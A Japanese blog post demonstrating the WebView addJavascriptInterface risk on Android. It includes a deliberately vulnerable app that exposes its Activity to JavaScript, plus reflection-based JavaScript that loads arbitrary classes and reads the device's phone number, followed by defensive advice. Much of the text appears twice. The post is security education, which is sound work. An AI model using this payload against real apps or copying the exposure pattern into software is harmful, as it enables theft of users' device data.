AndroidのWebView#addJavascriptInterfaceがどれだけ危険か検証してみた
Android SDKのJavaDocの説明はかなり簡素なんだけど、WebViewのaddJavascriptInterfaceの説明は珍しく説明が多い。
端的に意訳すると、「addJavascriptInterfaceを使うと、キミのアプリケーションをJavaScriptから操作できるようになるよ。とても便利な便利だけど、危険なセキュリティの問題があるよ。キミが書いたHTML以外では使わないでね。」という感じ。
「オブジェクトを公開する」行為が危険だというのは、技術者は直感的にわかると思うけど、じゃあどれくらい危険なのか実際に試してみた。
「オブジェクトを公開する」行為が危険だというのは、技術者は直感的にわかると思うけど、じゃあどれくらい危険なのか実際に試してみた。
まず、次のようなAndroidアプリケーションを作った。
「android.permission.INTERNET」をパーミッションに指定して、WebViewを画面に設定し、後述するHTMLを開くようにした。
WebViewClientの説明は割愛。
検証を2種類行うため、ObjectのインスタンスとActivityのインスタンスをaddJavascriptInterfaceに設定。
Activityを公開することの危険性を示すために、「android.permission.READ_PHONE_STATE」をパーミッションに指定。
実際のコードは以下の通り。
「android.permission.INTERNET」をパーミッションに指定して、WebViewを画面に設定し、後述するHTMLを開くようにした。
WebViewClientの説明は割愛。
検証を2種類行うため、ObjectのインスタンスとActivityのインスタンスをaddJavascriptInterfaceに設定。
Activityを公開することの危険性を示すために、「android.permission.READ_PHONE_STATE」をパーミッションに指定。
実際のコードは以下の通り。
AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest
xmlns:android="http://schemas.android.com/apk/res/android"
package="com.kanasansoft.android.JavascriptInterface"
android:versionCode="1"
android:versionName="0.0.1-SNAPSHOT"
>
<uses-sdk android:minSdkVersion="4" />
<application android:icon="@drawable/icon" android:label="@string/app_name">
<activity android:name=".JavascriptInterfaceActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
</manifest>
<manifest
xmlns:android="http://schemas.android.com/apk/res/android"
package="com.kanasansoft.android.JavascriptInterface"
android:versionCode="1"
android:versionName="0.0.1-SNAPSHOT"
>
<uses-sdk android:minSdkVersion="4" />
<application android:icon="@drawable/icon" android:label="@string/app_name">
<activity android:name=".JavascriptInterfaceActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
</manifest>
main.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout
xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<WebView
android:id="@+id/webview"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
/>
</LinearLayout>
<LinearLayout
xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<WebView
android:id="@+id/webview"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
/>
</LinearLayout>
strings.xml
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">JavascriptInterface</string>
</resources>
<resources>
<string name="app_name">JavascriptInterface</string>
</resources>
JavascriptInterfaceActivity.java
package com.kanasansoft.android.JavascriptInterface;
import android.app.Activity;
import android.os.Bundle;
import android.webkit.WebView;
import android.webkit.WebViewClient;
public class JavascriptInterfaceActivity extends Activity {
//HTMLファイルのURL
private String url = "http://[address]/[path]/index.html";
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
WebView webview = (WebView)findViewById(R.id.webview);
webview.setWebViewClient(new WebViewClient(){});
webview.getSettings().setJavaScriptEnabled(true);
webview.loadUrl(url);
MyObject myObject = new MyObject();
webview.addJavascriptInterface(myObject, "object");
webview.addJavascriptInterface(this, "activity");
}
static class MyObject {
}
}
import android.app.Activity;
import android.os.Bundle;
import android.webkit.WebView;
import android.webkit.WebViewClient;
public class JavascriptInterfaceActivity extends Activity {
//HTMLファイルのURL
private String url = "http://[address]/[path]/index.html";
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
WebView webview = (WebView)findViewById(R.id.webview);
webview.setWebViewClient(new WebViewClient(){});
webview.getSettings().setJavaScriptEnabled(true);
webview.loadUrl(url);
MyObject myObject = new MyObject();
webview.addJavascriptInterface(myObject, "object");
webview.addJavascriptInterface(this, "activity");
}
static class MyObject {
}
}
準備したHTMLの格子は以下の通り。
index.html
<html>
<head>
<style>
#logs{
width:100%;
height:90%;
font-size:75%;
</style>
<script>
function log(msg){
var logs = document.getElementById("logs");
logs.value+=">" + msg + "\n";
}
function initialize(){
var reload = document.getElementById("reload");
reload.addEventListener("click", function(){location.reload();}, false);
getInfoFromObject();
getInfoFromActivity();
}
function getInfoFromObject(){
//検証コード
//詳細は後述
}
function getInfoFromActivity(){
//検証コード
//詳細は後述
}
window.addEventListener("load", initialize, false);
</script>
</head>
<body>
<div>
<input type="button" value="reload" id="reload" />
</div>
<div>
<textarea id="logs"></textarea>
</div>
</body>
</html>
<head>
<style>
#logs{
width:100%;
height:90%;
font-size:75%;
</style>
<script>
function log(msg){
var logs = document.getElementById("logs");
logs.value+=">" + msg + "\n";
}
function initialize(){
var reload = document.getElementById("reload");
reload.addEventListener("click", function(){location.reload();}, false);
getInfoFromObject();
getInfoFromActivity();
}
function getInfoFromObject(){
//検証コード
//詳細は後述
}
function getInfoFromActivity(){
//検証コード
//詳細は後述
}
window.addEventListener("load", initialize, false);
</script>
</head>
<body>
<div>
<input type="button" value="reload" id="reload" />
</div>
<div>
<textarea id="logs"></textarea>
</div>
</body>
</html>
開いたら検証用のメソッドを2つ実行するだけ。
オブジェクトを公開することによる危険性
自分で書いたMyObjectを公開することの危険性を検証。
アプリケーションのコードをちょっと見ただけでは、MyObjectだけを公開しているように見える。
ところが、公開されているのはMyObjectのメソッドだけでなく、継承元のクラスのメソッドも含むので、リフレクションが使える。
ここではStringBufferを使ってみた。
アプリケーションのコードをちょっと見ただけでは、MyObjectだけを公開しているように見える。
ところが、公開されているのはMyObjectのメソッドだけでなく、継承元のクラスのメソッドも含むので、リフレクションが使える。
ここではStringBufferを使ってみた。
function getInfoFromObject(){
log("== Object ==");
log("-- get object --");
log(object);
log(object.getClass().getName());
log("-- get ClassLoader --");
var classLoader = object.getClass().getClassLoader();
log(classLoader);
log("-- make StringBuffer --");
var clazz = classLoader.loadClass("java.lang.StringBuffer");
log(clazz);
var sb = clazz.newInstance();
sb.append(0x48); // "H"
sb.append(0x65); // "e"
sb.append(0x6c); // "l"
sb.append(0x6c); // "l"
sb.append(0x6f); // "o"
log(sb.toString());
}
log("== Object ==");
log("-- get object --");
log(object);
log(object.getClass().getName());
log("-- get ClassLoader --");
var classLoader = object.getClass().getClassLoader();
log(classLoader);
log("-- make StringBuffer --");
var clazz = classLoader.loadClass("java.lang.StringBuffer");
log(clazz);
var sb = clazz.newInstance();
sb.append(0x48); // "H"
sb.append(0x65); // "e"
sb.append(0x6c); // "l"
sb.append(0x6c); // "l"
sb.append(0x6f); // "o"
log(sb.toString());
}
実行結果
>== Object ==
>-- get object --
>com.kanasansoft.android.JavascriptInterface.JavascriptInterfaceActivity$MyObject@2f8fdc00
>com.kanasansoft.android.JavascriptInterface.JavascriptInterfaceActivity$MyObject
>-- get ClassLoader --
>dalvik.system.PathClassLoader@2f8fd5d8
>-- make StringBuffer --
>class java.lang.StringBuffer
>Hello
>-- get object --
>com.kanasansoft.android.JavascriptInterface.JavascriptInterfaceActivity$MyObject@2f8fdc00
>com.kanasansoft.android.JavascriptInterface.JavascriptInterfaceActivity$MyObject
>-- get ClassLoader --
>dalvik.system.PathClassLoader@2f8fd5d8
>-- make StringBuffer --
>class java.lang.StringBuffer
>Hello
今回はStringBufferを使ったけど、もちろん他のクラスも使える。
リフレクションを駆使すれば、かなり多くのことができるようになる。
リフレクションを駆使すれば、かなり多くのことができるようになる。
コンテキストへの参照を取得できるオブジェクトを公開することによる危険性
Androidのコンテキストを取得できるようなオブジェクトを公開すると更に色んな情報が取得できるようになる。
ここでは、「android.permission.READ_PHONE_STATE」のパーミッションを持つアプリケーションを想定して、電話番号を取得してみた。
公開しているオブジェクトは、前述の通りActivity。
ここでは、「android.permission.READ_PHONE_STATE」のパーミッションを持つアプリケーションを想定して、電話番号を取得してみた。
公開しているオブジェクトは、前述の通りActivity。
function getInfoFromActivity(){
log("== Activity ==");
log("-- get Activity --");
log(activity);
var context = activity.getApplicationContext();
log(context);
log("-- get TelephonyManager --");
var classLoader = activity.getClass().getClassLoader();
var clazz = classLoader.loadClass("android.telephony.TelephonyManager");
log(clazz);
var preCast = activity.getSystemService("phone");
log(preCast);
var telephonyManager = clazz.cast(preCast);
log(telephonyManager);
log("-- get Phone Number --");
var phoneNumber = telephonyManager.getLine1Number();
log(phoneNumber);
log("-- no need cast --");
log(preCast.getLine1Number());
}
log("== Activity ==");
log("-- get Activity --");
log(activity);
var context = activity.getApplicationContext();
log(context);
log("-- get TelephonyManager --");
var classLoader = activity.getClass().getClassLoader();
var clazz = classLoader.loadClass("android.telephony.TelephonyManager");
log(clazz);
var preCast = activity.getSystemService("phone");
log(preCast);
var telephonyManager = clazz.cast(preCast);
log(telephonyManager);
log("-- get Phone Number --");
var phoneNumber = telephonyManager.getLine1Number();
log(phoneNumber);
log("-- no need cast --");
log(preCast.getLine1Number());
}
実行結果
>== Activity ==
>-- get Activity --
>com.kanasansoft.android.JavascriptInterface.JavascriptInterfaceActivity@2f9032b0
>android.app.Application@2f8fdf70
>-- get TelephonyManager --
>class android.telephony.TelephonyManager
>android.telephony.TelephonyManager@2f9997a0
>android.telephony.TelephonyManager@2f9997a0
>-- get Phone Number --
>080xxxxxxxx
>-- no need cast --
>080xxxxxxxx
>-- get Activity --
>com.kanasansoft.android.JavascriptInterface.JavascriptInterfaceActivity@2f9032b0
>android.app.Application@2f8fdf70
>-- get TelephonyManager --
>class android.telephony.TelephonyManager
>android.telephony.TelephonyManager@2f9997a0
>android.telephony.TelephonyManager@2f9997a0
>-- get Phone Number --
>080xxxxxxxx
>-- no need cast --
>080xxxxxxxx
電話番号は(さすがに)ふせてる。
パーミッションがなくても色々できるし、許可されているパーミッションが増えればできることが更に増える。
ここでは電話番号を取得してみたけど、値の参照だけでなく色んな機能の実行も可能。
パーミッションがなくても色々できるし、許可されているパーミッションが増えればできることが更に増える。
ここでは電話番号を取得してみたけど、値の参照だけでなく色んな機能の実行も可能。
まとめ
WebViewでaddJavascriptInterfaceを使う場合は、開くHTMLは自分(達)で制御できる範囲内に留めるようにするべき。
Activityなどのアプリケーションのコンテキストを取得できるようなオブジェクトを公開するのは論外。
制御できないHTMLを開く場合は、removeJavascriptInterfaceを使うか、別のWebViewを使うしかないのかも。
Android SDKが、「インターフェイスを公開するURLを指定しないと動作しない」「公開するオブジェクトのメソッドのみ公開し、親クラスは呼び出せない」「公開に指定するのは、オブジェクトではなくメソッド」のようなAPIを持っていれば良いんだろうけど、現状はそうはなっていない。
addJavascriptInterfaceを使う場合は、上記のリスクをしっかり理解した上で使うようにするしかないのかも。
Activityなどのアプリケーションのコンテキストを取得できるようなオブジェクトを公開するのは論外。
制御できないHTMLを開く場合は、removeJavascriptInterfaceを使うか、別のWebViewを使うしかないのかも。
Android SDKが、「インターフェイスを公開するURLを指定しないと動作しない」「公開するオブジェクトのメソッドのみ公開し、親クラスは呼び出せない」「公開に指定するのは、オブジェクトではなくメソッド」のようなAPIを持っていれば良いんだろうけど、現状はそうはなっていない。
addJavascriptInterfaceを使う場合は、上記のリスクをしっかり理解した上で使うようにするしかないのかも。